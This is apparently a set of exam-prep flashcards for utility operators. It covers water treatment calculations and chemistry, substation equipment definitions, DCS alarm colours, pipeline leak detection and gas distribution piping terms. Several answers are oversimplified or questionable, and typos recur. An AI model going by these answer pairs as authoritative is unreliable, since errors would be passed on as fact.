The letters or units "gpm" appearing on a flow-rate indicator in a pumping station means. - Answer: Gallons per minute.
The amount of dissolved oxygen that can remain in water depends primarily on - Answer: Water temperature.
A flow of 1.55ft^3/s is______ gpm. - Answer: 696 gpm.
What is the chlorine demand if the residual is 0.6 mg/L and 6.6 mg/L has been applied. - Answer: 6.0 mg/L
The most effective pH range for ion and manganese removal is - Answer: 8 to 9 pH.
How many gallons per minute is a flow of 1.0mgd? - Answer: 695 gpm
Disease-producing organisms are commonly called. - Answer: Pathogens.
One pound per square inch pressure will support a column of water that is _____ ft high - Answer: 2.31 ft.
Vent openings on reservoirs and clearwrlls should be - Answer: Screened.
You are chlorinating a well supply and the chlorine demand jumps from 0.9mg/L to 3.0mg/L. This is indicative of - Answer: Pollution.
The operating budget for the year was $94,571. At the end of 10 months $17,863 remained. How much had been expended - Answer: $76,708
Cavitation is a problem with pumps. What can be done to prevent it from occurring - Answer: Reduce the suction lift.
The least head loss in a pipeline would be caused by a fully open. - Answer: Gate valve.
In a conventional treatment plant using pH adjustment, the minimum number of runs in a jar test is - Answer: One.
To convert milligrams per litre to grains pr gallon, multiply milligrams per litre by - Answer: 17.1
Tastes and odors from phenolic compounds may be ____ by chlorination. - Answer: Increased.
Calcium oxide is also called. - Answer: Quicklime.
If a water tank is filled with water to a height of 40 ft and the tank is 20 ft in diameter, the pressure at the base of the tank is ___ psi. - Answer: 17.32 psi.
From a sanitary standpoint, the pressure in a distribution system should not be allowed to fall to zero because - Answer: Groundwater may enter and backsiphonage may occur.
Which one of the following is a hazard when using hydrofluosilicic acid? - Answer: Corrosiveness.
Static suction head plus friction suction head plus static discharge head plus friction discharge head makes up the _____ of a pump. - Answer: Total dynamic head.
The volume of a cone with a radius of 8 ft and a height of 12 ft is _____ ft^3. - Answer: 804 ft^3
Water is at its greatest density at a temperature of - Answer: 39.2 Fahrenheit / 4 Celsius
A heavy growth of algae in a surface water reservoir will have which one of the following effects on the water? - Answer: Raise the pH.
A step in determine the threshold odor number is - Answer: Diluting the sample with odor-free water.
A centrifugal pump when operating normally shows a discharge pressure of 100 psi and the venturi meter shows a flow rate of 20,000 gpm. Suddenly the pressure gauge drops to 90 psi and the flow rate increases to 23,000 gpm. You would suspect - Answer: A large leak in the pump discharge line.
A test on a water supply showed a hardness of 232 mg/L. If this is reduced by 21 percent, what should the hardness of the water be after treatment? - Answer: 183 mg/L.
A water treatment plant used 647 chlorine cylinders during one year's operation. The average withdrawal from each cylinder was 138 lb. What was the total number in pounds of chlorine used. - Answer: 89,286 lb.
The bacteriocidal action of free available chlorine compared with that of combined available chlorine is - Answer: Greater.
The condition in infants known as methemoglobinemia is thought to be caused mainly by high concentrations of - Answer: Nitrate.
The flow through a water treatment plant is 27,777 gpm. The flow is _____ mgd. - Answer: 40 mgd.
Vertical turbine pumps that are used in wells may be oil lubricated or water lubricated. Operators should use extreme care not to start any water-lubricated pump before making sure that the - Answer: Bearings are wet.
The chemical symbol for potassium is - Answer: K.
Concentrations of hardness are expressed in terms of - Answer: Milligrams per liter as CaCO3.
The amperometric titration method is used to measure - Answer: Chlorine residual.
Mark the correct number of coliform per 100mL when a membrane filter count shows 43 coliform colonies and 1.00 mL of sample was filtered. - Answer: 4300.
Nonsettleable solids are classified as _____ solids. - Answer: Suspended, colloidal, and dissolved.
Your pump broke down, your storage tank contained 1 mil gal, and water was being withdrawn at a rate of 0.5 mgd, how long would it take for the tank to empty? - Answer: 2 days.
The chemical formula for copper sulfate is - Answer: CuSO4 • 5H2O.
A venturi tube increases the velocity and decreases the pressure as water flows through it. This type of tube is used to - Answer: Measure the rate of water flowing through it.
The amount of chlorine actually used can best be determined by - Answer: Use of scales.
The most hazardous condition associated with storage areas, slurry tanks, or other confined space where wet activated carbon is present is - Answer: Depletion of oxygen.
Two tests used to monitor the disinfection process are - Answer: Chlorine residual and bacteriological testing.
A calm area within a settling basin necessary for suspended materials to settle is the _____ zone. - Answer: Settling.
The water treatment chemical copperas is - Answer: Iron sulfate.
As long as free chlorine and organic precursors are available, the total trihalomethane (TTHM) production will most probably - Answer: Continue to rise.
The free chlorine residual in water is measured as the amount of - Answer: Uncombined chlorine that remains in the water after the chlorine has been applied and allowed to react.
Chlorine use at a water treatment plant averages 81 lb/d. Assuming that the average daily flow is 13 mgd, the dosage rate is _____ mg/L. - Answer: 0.75 mg/L.
The chemical formula for calcium carbonate is - Answer: CaCO3.
Chemical formula for alum is - Answer: Al2(SO4)3 • 14 H2O.
If a valve in a pipeline is closed too rapidly it will cause the water in that pipeline to come to a sudden stop, causing waves of high pressure that oscillate back and forth in the pipeline. The reaction is commonly known as - Answer: Water hammer.
Eight boxes of packing (for pumps) were delivered, and the invoice showed $15.93 each. What is the total cost of packing. - Answer: $127.44
A cylindrical tank with a radius of 5 ft is filled to a depth of 10 ft with water. Approximately how many gallons of water does it contain? - Answer: 5870 gal.
One of the most common causes of errors in water quality analysis is - Answer: Improper sampling.
One of the problems with ductile-iron pipe is - Answer: Cutting the pipe.
A cylindrical tank with a radius of 5 ft and a height of 10 ft is filled with water. If 3 lb of chemical is dissolved in the water, what is the dosage? - Answer: 61 mg/L.
Centrifugal pump noise will most likely be due to - Answer: Cavitation.
To facilitate check-valve repairs, a gate valve should be placed - Answer: On the discharge side of the check valve.
The invert elevation of a pipe refers to the elevation of the center - Answer: Of the bottom on the inside.
The term "clarification" is most closely related to - Answer: Sedimentation.
Five grains per gallon is _____ mg/L. - Answer: 86 mg/L.
Hydrogen sulfide in well water will cause the water to have an odor similar to - Answer: Rotten eggs.
Which laboratory test in a water plant is concerned with indicator changes at pH 8.3 and about pH 4.5? - Answer: Alkalinity.
Which one of the following types of pumps work on the basis of inertia or mass moving in a circular motion? - Answer: Centrifugal.
The purpose of the jar test is to determine the - Answer: Correct amount of coagulant to use for proper coagulation.
The indicator methyl orange is used in the test for - Answer: Alkalinity.
Hardness in water is caused mainly by the presence of - Answer: Calcium and magnesium compounds.
Water that is high in sulfate can cause - Answer: Diarrhea.
The effluent weir of a clarifier is located along the rim of a 60-ft-diameter tank. The length of the weir is _____ ft. - Answer: 188 ft.
A number of grab sample test results that are averaged together constitute - Answer: An average concentration.
The term aeration is defined as bringing water into intimate contact with - Answer: Air.
Which of the following types of pumps work on the principal of a decrease in the overall specific weight of a confined column of a gas-water mixture? - Answer: Air lift.
A tank holding 2340 gal fills in 12 min. The rate of flow is ____ gpm. - Answer: 195 gpm.
The chlorine room should be constructed so it can be entered only from the - Answer: Outside of the building.
A rectangular ground storage tank is 60-ft wide, 120-ft long, and 12-ft deep. The tank holds ____ gal. - Answer: 646,272 gal.
1 (cubed) ft of water weighs 62.4 lbs. 1 (square) ft of water equals 144 (square) inches. Therefore, 62.4 lbs / 144 = 0.43 PSI per ft. - Answer: P = 0.43 X Height
--------------------------------------
Electrical Substation Distribution Network Glossary:
Breaker and A half
Double Bus Double Breaker
Double Bus Single Breaker
Expanded Radial System
Main Bus Transfer Bus
Primary Loop System
Primary Secondary Radial Selective System
Radial System
Radial System with Primary Selectivity
Ring Bus
Secondary Selective System
Secondary Spot Network System
Single Bus
Sparing Transformer System
--------------------------------------
Air-Blast Circuit Breaker - Answer: A circuit breaker that uses a blast of air to extinguish the arc created by the opening of the circuit breaker contacts.
Air Circuit Breaker - Answer: A circuit breaker that uses a combination of air and a magnetic field to extinguish the arc created by the opening of the circuit breaker contacts.
Alive On Backfeed - Answer: Indicates that when a circuit breaker or disconnect is in the open position, a potential test indicates it is still alive.
Alternating Current (A.C.) - Answer: A flow of electricity which reaches maximum in one direction, decreasing to zero, then reversing itself and achieving maximum in the opposite direction.
Ammeter - Answer: An instrument for measuring current flow.
Amperes (AMPS) - Answer: Unit of measurement for current.
Annunciator - Answer: A visual device consisting of indicator lamp or device pointing out a change in status of equipment, usually used for alarms.
Annunciator Indicators - Answer: Color-coded lights that indicate normal or abnormal conditions in a switchyard or substation.
What does ARS stand for? - Answer: Auto Reclosure Switch
What is ATB? - Answer: Air circuit breaker with gas insulated current transformers.
What does ATS stand for? - Answer: Automatic Transfer Switch
Back Up Timer - Answer: An automatic timing device that will activate and trip adjacent circuit breakers if its associated circuit breaker fails to open within a predetermined interval.
Blocking - Answer: A process of preventing equipment from being operated.
What does BO stand for? - Answer: Block Open
Bounced - Answer: Cut in Opened Auto.
Breaker - Answer: An automatic device which normally allows current to flow until directed to open the current carrying elements or contacts without damaging itself.
Bus - Answer: A conductor, such as copper or aluminum, which collects and distributes electric energy from more than one circuit.
Bushings - Answer: Devices on power transformers that insulate conductors so that the conductors can be connected to the inside of the transformer without coming into contact with the transformer's metal enclosure.
Bus Section Breaker - Answer: Circuit breakers used to connect and isolate sections of substation and/or switching station busses.
Capacitive Load - Answer: A load on a transmission and distribution system that is commonly caused by very long stretches of power lines.
Capacitance - Answer: The property which permits the storage of electricity. Capacitors are the device used to store this energy. Electric utility distribution capacitors are usually rated in KVARS of reactive power.
Capacitor Bank - Answer: A bank of individual capacitors connected together in an assembly to increase power factor which will help raise system voltage. Capacitor banks add capacitive load to a transmission and distribution system to counterbalance inductive load.
What does CCPD stand for? - Answer: Coupling Capacitor Potential Device
What does CCVT stand for? - Answer: Coupling Capacitor Voltage Transformer
What does C/I stand for? - Answer: Cut In
What does CIOA stand for? - Answer: Cut In Opened Auto
Circuit - Answer: A loop, or complete path, for electricity to flow from a source, through a load, and back to the source.
Circuit Breaker - Answer: A switching device in an enclosed housing that can be open and close an electrical circuit; while current is flowing; performs a protective function of opening circuits when faults occur.
Circuit Switcher - Answer: A motor or hydraulic operated gauged switch consisting of either double air breaks or one air break and one gas enclosed break.
Class "A" Fire - Answer: Wood, trash, grass or other materials that turn to ash.
Class "B" Fires - Answer: Flammable liquids such as oil.
Class "C" Fires - Answer: Electrical fire generally caused by heat from a short circuit or electrical arcing.
Class "D" Fires - Answer: Metal fires such as magnesium or aluminum.
Close Circuit - Answer: Closed circuit completes the path for electron flow from the negative to positive terminal of the source a close circuit has current flow and relatively low resistance.
Conductors - Answer: Materials that offer little resistance to the flow of electricity.
Coupling Capacitor (CC) - Answer: Used to superimpose control and communications signals on power lines, or to provide potential for metering and relaying.
Coupling Capacitor Voltage Transformer (CCVT) - Answer: Used to superimpose control and communications signals on power lines, or to provide potential for metering and relaying.
Current - Answer: The rate of electron flow within the electrical elements. It is measured in amperes (a or amp) using an ammeter.
Current Transformer (CT) - Answer: An instrument transformer which reduces primary circuit currents to secondary measuring current for for metering and relaying.
Cycle - Answer: Cycle of alternating current or voltage is one complete set of positive and negative values of current or voltage.
De-Energize - Answer: The process of removing all sources of power from an electrical device.
Deluge System - Answer: An automatic water spray system used for fire protection on station transformers, phase angle regulators and reactors.
Dielectric - Answer: An insulating or nonconductive medium commonly used between two plates of a capacitor. Typical dielectrics are air, oil, wax-impregnated paper, plastic, mica and ceramic.
Dielectric Breakdown - Answer: Occurs when current flows around or through dielectric material.
Dielectric Fluid - Answer: The insulating medium used in transformers, underground transmission cables and some circuit breakers.
Differential - Answer: Differential in electrical circuits indicates a difference between two levels.
Differential Relay (87) - Answer: A relay which monitors flow of current to protect things such as the inside transformers or synbus's. "What is going in must equal what goes out"
Disconnect - Answer: To break an electric circuit.
Disconnect Switch - Answer: A switch whose contacts open in air, creating a VISIBLE BREAK in an electrical circuit; used to isolate a line or a piece of equipment.
Distribution - Answer: Distribution systems of an electrical utility consist of primary voltage circuits, which transfer energy from substation to step-down transformer near customers.
Distribution Lines - Answer: Components that form a direct link between customers and substations in a transmission and distribution system; deliver electricity directly to customers.
Distribution Transformer - Answer: A component that reduces voltage from primary levels to lower levels that can be used by customers.
Electricity - Answer: The flow of an electrical charge through a conductor placed between two objects having a difference of potential.
Energize - Answer: The process of applying rated voltage to circuit or equipment.
Fault - Answer: A change in the circuit or equipment current due to unintentional grounding or shorting of wires.
Feeder - Answer: A conductor or group of conductors connecting substation to load center. The term feeder and circuit are used interchangeably.
Feeder Grounds - Answer: Permanent grounding points (station grounds) at or near the potheads of feeders within the confines of the substation.
Frequency - Answer: The rate which cycles of alternating current are completed per second. The unit of frequency is hertz (Hz).
Fuse - Answer: A protective device, which usually consists of a short piece of wire and a chemical compound that melts to break the circuit when current exceeds the rated value.
Gang Operated Disconnects - Answer: Disconnect switches that operate all phases simultaneously.
Gas Circuit Breaker (GCB) - Answer: Breakers that utilize gas such as SF6 as the dielectric to reduce arcing of contacts.
Ground - Answer: A conducting connection, either intentional or accidental, between an electrical circuit or equipment and earth.
Ground and Testing Device (G&T) - Answer: Used to ground a distribution feeder for work or testing.
Grounding - Answer: The process of electrically connecting a circuit or a piece of equipment to earth or ground.
Ground Switch - Answer: A device that grounds each phase of a circuit or equipment. There are 2 types of ground switches: manual and automatic. Manual ground switches should only be closed after a potential test. An automatic grounding switch may be designed to close-into an energized line in order to trip a breaker at the other end.
High-Speed Ground Switch - Answer: An automatic ground switch that is connected from one phase to ground, capable of closing within cycles from the time the trip coil is energized. This switch is used as a means for transfer tripping relay protection.
Hydrogen Gas - Answer: A gas given off by the batteries in a station when the batteries are being charged, and that is potentially explosive when mixed with air.
Induced Voltage - Answer: The voltage which is created by a magnetic field.
In-Phase - Answer: The point at which current and voltage within that electrical circuit reach their minimum and maximum at the same time.
Insulators - Answer: Materials which do not allow electrons or electrical charges to pass through them. They are used to isolate conductors from the distribution poles or transmission structures that support them.
Isolated - Answer: Disconnected from the system by the opening of switches, disconnecting potheads, cutouts or links or by cutting or disconnecting conductors.
Isolating - Answer: The process of providing physical breaks between a de-energized electrical device and all possible sources of power.
Isolation Switch - Answer: A manual switch associated with a particular relay panel used to remove the DC feed to all relays associated with that panel.
Kilowatt-Hour (KWH) - Answer: The amount of energy consumed. It represents the thousands of watts used per hour.
Surge Arrestor - Answer: Designed to allow surge currents to pass to ground via spark gap or other similar dielectric breakdowns.
Line Drop - Answer: A voltage drop between two points on power line. It is caused by the opposition of the line times the current flowing through it.
Load - Answer: The power consumed by a machine, customer or group of customers. It is caused by the opposition connected to the power system which determines current flowing and power consumed.
Load Break - Answer: Designed to interrupt load current at a pre-determined current and voltage rating.
Load Shedding - Answer: A process of disconnecting selective customers to reduce total system demand.
Lock Out - Answer: It indicates that an automatic circuit breaker as opened and it will not reclose again without a manual command.
Meter - Answer: Any measuring device used to measure electrical quantities.
Motor Operated Disconnects - Answer: Disconnect-devices which utilize motors for opening and winding a spring which stores energy for opening.
Network - Answer: Network system of an electrical utility usually consists of a distribution system with a common secondary (120/208V-normally) which is supplied via a multitude of primary circuits from a single substation through step-down transformers and network protectors.
Network Feeder - Answer: Circuits from substations to network transformers and network protectors.
Network Protector - Answer: A three-phase automatic circuit breaker in series with secondary of network transformer and secondary that is designed to open on backfeed.
Nitrogen Gas (Nitro) - Answer: A gas that is often used as a blanket over oil in a power transformer or pumphouse to keep moisture and oxygen from contaminating the oil.
Non-Load Tap Changer - Answer: Type of tap changer that is operated only when the transformer is de-energized.
Non-Load-Break Disconnect - Answer: A type of disconnect that is designed to be operated only after a circuit has been de-energized.
Oil Circuit Breaker (OCB) - Answer: A circuit breaker that uses oil to extinguish the arc created by the opening of the circuit breaker contacts.
One-Line Diagram - Answer: Represents three phase power circuits and equipment via single line and equipment symbols.
Open Auto - Answer: A feeder breaker that has opened automatically via a protective relay operation.
Open Circuit - Answer: - Do not have a complete path for current flow.
- have relatively high resistance.
- source potential difference also occurs across the open.
Operating Order - Answer: A directive, in written form, where practicable, issued to a person to perform specified operations or tests on specified equipment.
Oscillograph - Answer: An instrument primarily for producing a record of instantaneous value of electrical quantities as a function of time.
Out-Of-Phase - Answer: 2 or more waveforms having the same shape are not passing corresponding minimum and maximum value at the same time.
Overcurrent Relay - Answer: Designed to operate its control contacts for a specific level of current above the pre-determined setting.
Overvoltage - Answer: A voltage or potential difference greater than the normal operating voltage of a device or circuit.
Peak Load - Answer: The maximum demand on an electric system or individual device during a particular period. Peak loads are usually measured in KW or MW.
Phase Angle Regulator - Answer: A device which adjusts the phase angle between power circuits. Thus, allowing utilities to regulate power flow on specific transmission lines.
- Pushes and pulls power.
PolyChlorinated Biphenyls (PCBs) - Answer: Highly toxic chemicals occasionally found in oil-cooled transformers or other devices.
Portable Ground - Answer: A cable that is used to afford protection on a feeder or piece of equipment by connecting all three phases of a feeder cable or bus to ground.
Potential Transformer - Answer: An instrument transformer with its primary winding connected to primary voltage and secondary winding connected to measuring device or relays.
Pothead (PH) - Answer: Insulators used for making a sealed joint between an underground and overhead circuit or substation equipment.
Power - Answer: The rate work is done or physical change occurs. Measured in watts and volt-ampere.
Power Grid - Answer: A network of major electrical connections between electric companies; used to transfer power from one region to another.
Power Plant - Answer: Place where electricity is generated; the primary source of power for a typical transmission and distribution system.
Power Transformer - Answer: A device used in a substation to increase voltage (usually for transmission) or decrease voltage (usually for distribution).
Primary Feeders - Answer: The conductors in a distribution system that carry power from the substation to primary taps.
Primary Voltage - Answer: It is considered to be the supply voltage to power transformers.
Pump House - Answer: A facility used to store, maintain pressure and circulate dielectric fluid for pipe type oil feeders.
Reactive Power - Answer: Power, which is present in an AC system, cannot be used to do useful work.
- inductive loads is considered lagging and capacitive and is considered leading.
- measured in VARS and KVARS.
Reactor - Answer: A conductor, usually a coil of wires, designed to concentrate a magnetic field so that current and voltage are out-of-phase. Commonly connected in series with equipment to limit fault currents.
Recloser - Answer: A switch that will automatically open to break a circuit if it detects electrical problems (like transient faults), and then attempts to close the circuit at timed intervals.
If electrical problem fails to correct itself, it will remain open after a certain number of attempts to close the circuit.
Relay Number: 79
Recorder - Answer: A device that records substation or switchyard conditions over a period of time.
Rectifier - Answer: A device which is capable of changing alternating current (AC) to direct current (DC) for charging batteries and supplying DC loadboards.
Relay - Answer: A device which opens or closes a secondary control circuit by variations in conditions of one electric circuit and thereby affect the operation of other devices. Used for protection of system.
Remote Trip - Answer: A means of disconnecting a source of energy from a remote terminal.
Resistance - Answer: Opposition to the flow of electrons. Measured in Ohms using an Ohmmeter.
Ring Bus - Answer: A combination of bus sections and breakers, which form a complete loop in order to interconnect incoming and outgoing lines.
Rubber Gloves - Answer: Protective devices when used on voltages below 15KV. Over 15KV gloves are supplemental protection.
Secondary - Answer: The low voltage output-of a distribution step-down transformer and the associated wiring used to interconnect the transformer to the customer.
SF6 Bus - Answer: A bus that is enclosed in pipes that are filled with Sulfur Hexafluoride gas. It insulates the bus so that it does not require as much electrical clearance as uninsulated bus requires.
SF6 Circuit Breaker - Answer: Uses SF6 gas to extinguish the arc created by the opening of the circuit breaker contacts.
Short Circuit - Answer: When wires of other conductors come in contact and alter the normal electrical path. They have lower than normal resistance, which causes high current conditions.
Shunt - Answer: A low opposition bypass around a device or circuit.
Shunt Disconnect - Answer: A device which bypasses a piece of equipment or circuit bypass.
Shunt Reactor - Answer: A device sometimes used in a substation to improve system efficiency. It adds inductive load to a transmission and distribution system to counterbalance capacitive load.
Static Wires - Answer: A system of bare wires strung above a substation or a switchyard to provide a path to a grounding grid for static charges or lightning.
Station Grounds - Answer: Permanent grounding points on substation equipment applied by means of a manually operated knife type switch. Used to afford protection to a working point within the confines of a substation.
Station Inspection - Answer: A system of evaluating the status of substation equipment in order to detect potential difficulties before creating nonscheduled equipment outages.
Station Light and Power - Answer: The electrical energy source used to provide power for the station equipment including breakers, battery chargers, lightning, fans, pump(s), etc.
Thermistor Loop - Answer: Fire protection system which uses a wire that will become less resstive when applied to heat.
--------------------------------------
Major Functions of Substations - Answer: 1.Change the voltage of circuits from level to another.
2. Connect or disconnect line or equipment from each other.
3. Control the flow of power by adjusting the voltage and circuits.
Switching Stations - Answer: Only have equipment that can connect or disconnect line or equipment from each other.
Generation Station - Answer: Steps up voltage that is produced by the generators of the power plant so that it can be transported to where it will be used. These stations will interrupt the flow of power on the transmission line if trouble should occur. The Generation station is located adjacent to the the generating plant.
Transmission Substations - Answer: Change the voltage levels to help integrate a system. Voltage change from 500 kV to 230 kV. These stations have large circuit breakers to disconnect and connect lines and equipment. The station also has equipment to control the voltage and equipment.
Subtransmission Substations - Answer: Located near large load centers. Main function is to change the voltage from a higher transmission voltage to a subtransmission voltage, which then can be used to distribute power to distribution substations within the load center. Typical Voltage change: 345 kV to 69 kV
Distribution. Substations - Answer: Located in the mild of the load center. Have transformers that change the sub transmission voltage for distribution for customers. 2 subtransmission line supplying the power to the station and 10 distribution circuits leaving the station to supply power to the customers in the area. All circuits have circuit breakers to connect and disconnect lines and equipment.
Substation Functions - Answer: 1. Voltage changed from one level to another.
2. A point of interconnection for line of different ownership provided.
3. Power flowing in and out of the substation measured.
4. Lines coming in and leaving the station connected and disconnected in the event of abnormal conditions/ routine work.
5 Equipment inside the station connected and disconnected in the event of abnormal conditions/ routine work.
6. Lightning surges and switching surges removed from lines and equipment.
7. Alternating current changed to direct current, vice-versa.
Power Transformers - Answer: Used to change voltage from one level to another. May have a load tap changer.
Load Tap Changer (LTC) - Answer: Cuts in or out a portion of the transformer winding which adjusts the voltage to the conditions.
Circuit Breakers - Answer: Used to connected and disconnect line and equipment. Designed to interrupt large amounts of current, and typically use oil, air, vacuum or sulfur-hexafluoride gas to accomplish operation.
Disconnect Switches - Answer: Installed in substation in order to isolate lines and equipment to be worked on. Also installed to provide a means to connect to disconnect parts of the station to reroute the flow of power. Manually operated by switchman in the substation.
Current and Potential Transformers - Answer: Provide a reduction in the voltage and current so the power flow can be measured. Sense abnormal amounts of voltage and current, which is used to disconnect lines and equipment during trouble conditions. Current transformers reduce current levels, transformers reduce voltage levels.
Capacitors and Reactors - Answer: Used to assist in controlling the flow of power on the system. Connected and disconnected from the system based upon the dynamics of the flow of power.
Voltage Regulators - Answer: Used to automatically adjust the voltage as required. If the station power transformer does not have an LTC to adjust the voltage, then a separate regulator may be used.May be one 3-phase or three 1-phase units.
Steel Structure - Answer: Terminate lines entering and leaving the station. Also used to mount switches, disconnects, bus conductors, and other equipment.
Control House - Answer: Houses key control equipment such as relays, meters, and computers. Has DC batteries that are used to control key equipment is power is lost to the station.
Ground Grid (key functions) - Answer: 1. Provides a path to earth for lighting surges.
2. Provides a ground reference source for transformers and the associated system neutral conductors.
3. Provide a ground source for other station equipment.
4. Ensure the safety of the workers in the station by limiting ground potential differences.
5. Ensure the safety of the public who may be neat the station fence during a fault.
6. Limit the influence of faults to communications facilities entering the station.
Ground Grid - Answer: Consists of large stranded wire buried 12 in to 18 in below the grade and spaced in a grid pattern of 8ft to 20ft. May be supplemented by grounding rods. Covers the entire footprint of the station and slightly outside the perimeter fence. The perimeter fence is connected to the grid at several locations.
Mobile Substation - Answer: Used in case a major transformer needs to be taken out.
--------------------------------------
Question 1
SCADA is the term used for data and control. The acronym stands for - Answer: Supervisory Control and Data Acquisition
Question 2
How often should datasheets and DCS screens be reviewed by operators - Answer: Every 4 hours
Question 3
Classification for a red alarm on DCS. Has to be addressed immediately (<5min.) - Answer: Critical
Question 4
Classification for a purple alarm on DCS. Has to be addressed within 30 minutes - Answer: Advisory
Question 5
Classification for a yellow alarm on DCS. Has to be addressed within 10-15 minutes. - Answer: Warning
Question 6
This is the color the indicators and controllers will show when there is a loss of control. - Answer: Magenta
Question 7
This is the color the indicators and/or controllers will show when there is a loss of communication with the transmitter(s). - Answer: Gray
Question 8
Makes sure that someone is going in the field on a regular basis and covering the area. Not just for that reading, but so that problems can be identified early such as a pump seal that started leaking, other leaks, odd sound from a pump or compressor. - Answer: Manual readings
Question 9
Historical data. This is recording data on some frequency that can be pulled up later and reviewed, used for trending (graphing) and analyzed - Answer: Datasheets
When there was a large upset (such as a power dip) so many alarms were going off so fast it became a major hindrance in handling the core problem. - Answer: Alarm storm
Human machine interface - Answer: HMI
The system that displays real time data of the process. Allows operators to monitor and control the system. Allows automation to be programmed into the system to handle many routine operations. - Answer: DCS
This is required by some safety systems to have a logic solver independent of the DCS to have a higher layer of protection (redundancy). Programmable logic solver - Answer: PLC
Safety instrumented system - usually associated with a shutdown system - Answer: SIS
Question 10
What small leaks in pipelines are often called. With small being a relative term - Answer: Pin holes
Question 11
Large leaks in a pipeline system. It is usually some type of large failure in the line such as a break in the line. - Answer: Ruptures
Question 12
Gas leaks present what kind of hazard. If they find an ignition source before it dissipates, there can be a large explosion. - Answer: Safety
Question 13
Oil leaks are usually not going to create as large a hole in the ground due to lower pressure and because it is a liquid. However, they do present a what type hazard that also can incur significant cleanup costs. - Answer: Environmental
Question 14
The ability of the system to determine the location of the leak, its rate and the volume of product lost - Answer: Accuracy
Software based systems that use data from the SCADA system. They use monitoring instrumentation (pressure, temperature, flow rate) already installed on the pipeline - Answer: Internal leak detection
How well the system is able to work in all conditions - snow, rain, heat during summer etc... - Answer: Robustness
How well the system identifies a leak really exists - Answer: Reliability
The volume per unit time of material escaping from a pipeline - Answer: Leak rate
These systems use sensors that may be attached to the pipe, in the area or soil along the pipeline or may be portable devices - Answer: External leak detection system
The basic leak detection you would personally use as part of your job as an operator. - Answer: AVO- Audio, Visual, Olfactory
--------------------------------------
Valve Box - Answer: A vertical section of pipe which encloses and allows access to a valve. Also can enclose anodes and other small cathodic protection devices.
Variable Pressure Pilot - Answer: An auxiliary regulator in the control piping which delivers gas at varying pressures to the loading chamber of a larger regulator. Sometimes called a duplex pilot.
Vault - Answer: An underground structure designed to house a district regulator station or MSA.
Vent - Answer: A line designed to remove any gas buildup and vent
itto atmosphere.
Vibration or Chattering - Answer: A movement or noise caused by a very rapid
movement ofloose or worn parts in a regulator. Vibration should not be confused with pulsation. A vibrating regulator generally is not causing a change in the downstream pressure
Volume - Answer: The amount of space inside a pipe, meter, or other container. Volume is expressed incubic feet.
Swing Joint - Answer: An above-ground connection which allows for movement of pipe in areas which are prone to landslides
Tap - Answer: A connection to piping through which gas may be obtained. Usually posted when it is on a pipeline, when it will have a tap number
Tee - Answer: A fitting used to connect a non-pressurized pipe lateral (3 way connection).
Tensile Strength - Answer: The highest unit tensile stress (referred to the original cross section) a material can sustain before failure, measured in PSI.
Termination Tee - Answer: A tee with no plug inside. Used when pipe is to be extended later; obsolete, but still found in some areas. An early version was known as a Monrovia fitting.
Test - Answer: A procedure for proving the acceptability of a structure (pressure test) or a process (weld test).
Tie-In - Answer: A weld joining two previously completed section of piping. A wedding band should be considered as a tie-in.
Tie-In Section - Answer: A section of piping used to join two previously completed sections of piping. A tie-in section is joined to previously completed piping with a tie-in at each end.
Stop Cock (SC) - Answer: A valve used to control the flow of gas, similar to a plug valve. Now obsolete on main, but still exists in some areas.
Strainer - Answer: A device for separating and collecting solid particles 1/16 inch or larger (maximum dimension) is a gas stream.
Strength Test - Answer: A test given to piping to determine ifit will fail when subjected to the pressure for which it is designed.
Stress - Answer: The internal force that resists change in the size or shape of a body subject to external forces. In standards it is the same as unit stress, which is the stress per unit area, such as PSI.
Stress Relief - Answer: The elimination of secondary stresses by the intentional creation of a stress greater than yield strength or the application of heat (as in annealing of steel).
Soldering - Answer: A process for joining two pieces of metal at a temperature under 800 degrees Fahrenheit, where both pieces adhere to each other and the third metal (the solder) flows into the joint by capillary action. Distinguished from braze welding.
Specific Gravity - Answer: The ration of the weight of any volume of a substance to the weight of an equal volume of some substance taken as a standard; water is the standard for liquids and air for gases.
Spring Effect - Answer: A term applied to the degree of compression extended by the spring against the diaphragm; associated primarily with a spring loaded regulator. A fully compressed spring exerts considerably more force than the same spring when only half compressed. As a spring extends, it required less operating force, generally the downstream pressure under the diaphragm, to achieve equilibrium.. The spring effect in a spring loaded regulator is one reason the regulator will not maintain a constant downstream pressure as the volume of gas going through the regulator changes.
Squeezing - Answer: On copper pipe, the same operation as pinching.
Stage Regulator - Answer: One of two or more regulators in a flow stream, each of which makes a portion of the flow reduction produced by the group of regulators.
Standard Cubic Foot - Answer: The amount of gas required to fill one cubic foot of space at 14.73 PSIA and 60 degrees Fahrenheit. A standard of volume used for measuring and billing purposes.
Standard Delivery Pressure - Answer: Company terminology for gas pressure normally delivered to domestic and industrial customers: 8 inch WC, with a minimum. of 7 inch WC and a maximum of 10 inch WC.
Standard Service Regulator - Answer: A self-contained, single ported regulator of size 2 inches or less, with a resilient valve seat supplied with medium pressure gas (PSI) and delivering at pressures recommended for household appliances (inches WC). Capable oflimiting the buildup of pressure under no-flow conditions to 50% or less of the pressure maintained under flow conditions.
Sectionalizing Valve - Answer: A valve used as a shut-off when hot-tapping a pipe.
It differs in design from gate and plug valves.
Security Valve - Answer: An automatic over or under protection shutoff device which will shut off the gas flow when the pressure downstream of the regulator is in excess of or below a predetermined level. The valve may be installed either upstream or downstream from the regulator, and must be reset manually to restore gas flow.
Series Regulators - Answer: One of two or more regulators in pipeline at a District Regulator Station or MSA, which
progressively reduces pressure. For example, the first regulator could reduce the pressure from 100 lb to 60 lb, and the second regulator could reduce the
pressure from 60 lb to 20 lb.
Service - Answer: A portion of the piping system which delivers gas from a main or pipeline to a MSA.
Service Regulator - Answer: A regulator that controls downstream flow at all
times. Often referred to as a 'working' regulator
Reducing Tee - Answer: A three-way fitting which may have two or three sizes of pipe connected to it.
Regulator - Answer: An automatic valve which maintains a pressure in the piping downstream of the regulator at varying rates of flow and with varying inlet pressure to the regulator.
Relationship of Pressure/Flow - Answer: Pressure is inversely proportional to flow. Pressure is constant if flow is constant, increasing if flow is decreasing and decreasing if flow is increasing.
Reducer - Answer: An in-line fitting used to connect two pipe segments of different diameter. Incases of extreme size difference, multiple reducers may be used in a short distance.
Reducing Ell - Answer: A fitting which changes both the size and the direction of piping.
Relief Valve - Answer: A regulator which opens on rising pressure (like a back pressure regulator) to release gas to the atmosphere at a predetermined point.
Ring Joint - Answer: A joint with a flange (flanged joint).
Saddle Weld - Answer: A kind of joint; a steel fitting is welded on steel pipe, a hole is cut in the pipe, and it is branched in another direction. The weld is shaped like a saddle.
